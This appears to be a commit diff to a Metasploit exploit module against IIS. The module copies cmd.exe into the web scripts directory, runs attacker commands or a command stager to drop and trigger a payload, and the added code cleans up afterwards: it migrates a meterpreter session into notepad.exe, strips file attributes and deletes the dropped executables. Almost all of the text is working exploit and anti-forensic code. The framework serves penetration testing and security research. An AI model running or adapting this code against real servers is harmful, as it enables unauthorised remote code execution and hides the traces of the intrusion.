improve reliability, add automatic cleanup functionality (if using meterpreter paylad)
git-svn-id: file:///home/svn/framework3/trunk@10170 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8dd489ad3b
commit
430878e3e9
|
@ -53,16 +53,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
Opt::RPORT(80),
|
Opt::RPORT(80),
|
||||||
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
|
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
|
||||||
=begin
|
|
||||||
#
|
|
||||||
# Comment out for now, until we actually have such a template in the tree
|
|
||||||
# See #2046
|
|
||||||
#
|
|
||||||
OptString.new('EXETEMPLATE', [ false, 'Use this EXE as a template for the command stager',
|
|
||||||
File.join(Msf::Config.install_root, "data", "templates", "template_nt4.exe") ]),
|
|
||||||
=end
|
|
||||||
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
|
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
|
framework.events.add_exploit_subscriber(self)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
@ -130,6 +124,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# a valid response is returned...
|
# a valid response is returned...
|
||||||
#
|
#
|
||||||
def execute_command(cmd, opts = {})
|
def execute_command(cmd, opts = {})
|
||||||
|
|
||||||
|
# Don't try the start command...
|
||||||
|
# Using the "start" method doesn't seem to make iis very happy :(
|
||||||
|
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
|
||||||
|
|
||||||
|
print_status("Executing command: #{cmd}")
|
||||||
|
|
||||||
uri = '/scripts/'
|
uri = '/scripts/'
|
||||||
exe = opts[:cgifname]
|
exe = opts[:cgifname]
|
||||||
if (not exe)
|
if (not exe)
|
||||||
|
@ -157,23 +158,81 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
# first copy the file
|
# first copy the file
|
||||||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||||
# NOTE: this assumes %SystemRoot% on the same drive as the web scripst directory
|
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
|
||||||
|
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
|
||||||
|
# However, it using %SystemRoot% doesn't seem to work :(
|
||||||
res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}")
|
res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}")
|
||||||
|
|
||||||
if (datastore['CMD'])
|
if (datastore['CMD'])
|
||||||
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
|
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
|
||||||
|
if (res[0])
|
||||||
|
print_status("Command output:\n" + res[0])
|
||||||
else
|
else
|
||||||
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
print_error("No output received")
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("NOTE: The copied cmd.exe and payload binaries must be deleted manually")
|
res = execute_command("del #{exe_fname}")
|
||||||
# NOTE: We try to delete the copied exe here, although if the payload is running,
|
return
|
||||||
# we probably can't delete it due to it being in use...
|
end
|
||||||
execute_command("del #{exe_fname}")
|
|
||||||
|
# Use the CMD stager to get a payload running
|
||||||
|
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
||||||
|
|
||||||
|
# Save these file names for later deletion
|
||||||
|
@exe_cmd_copy = exe_fname
|
||||||
|
@exe_payload = payload_exe
|
||||||
|
|
||||||
|
# Just for good measure, we'll make a quick, direct request for the payload
|
||||||
|
# Using the "start" method doesn't seem to make iis very happy :(
|
||||||
|
print_status("Triggering the payload via a direct request...")
|
||||||
|
mini_http_request({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
|
||||||
|
|
||||||
handler
|
handler
|
||||||
disconnect
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# The following handles deleting the copied cmd.exe and payload exe!
|
||||||
|
#
|
||||||
|
def on_new_session(client)
|
||||||
|
|
||||||
|
if client.type != "meterpreter"
|
||||||
|
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
|
||||||
|
print_error("The copied exe and the payload exe must be removed manually.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
return if not @exe_cmd_copy
|
||||||
|
|
||||||
|
# stdapi must be loaded before we can use fs.file
|
||||||
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||||
|
|
||||||
|
# Delete the copied CMD.exe
|
||||||
|
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
|
||||||
|
client.fs.file.rm(@exe_cmd_copy)
|
||||||
|
|
||||||
|
# Migrate so that we can delete the payload exe
|
||||||
|
client.console.run_single("run migrate -f notepad.exe")
|
||||||
|
|
||||||
|
# Delete the payload exe
|
||||||
|
return if not @exe_payload
|
||||||
|
|
||||||
|
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
|
||||||
|
|
||||||
|
print_status("Changing permissions on #{delete_me_too} ...")
|
||||||
|
cmd = "C:\\winnt\\system32\\attrib.exe -r -h -s " + delete_me_too
|
||||||
|
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||||
|
|
||||||
|
print_status("Deleting #{delete_me_too} ...")
|
||||||
|
begin
|
||||||
|
client.fs.file.rm(delete_me_too)
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("Exception: #{e.inspect}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
framework.events.remove_exploit_subscriber(self)
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue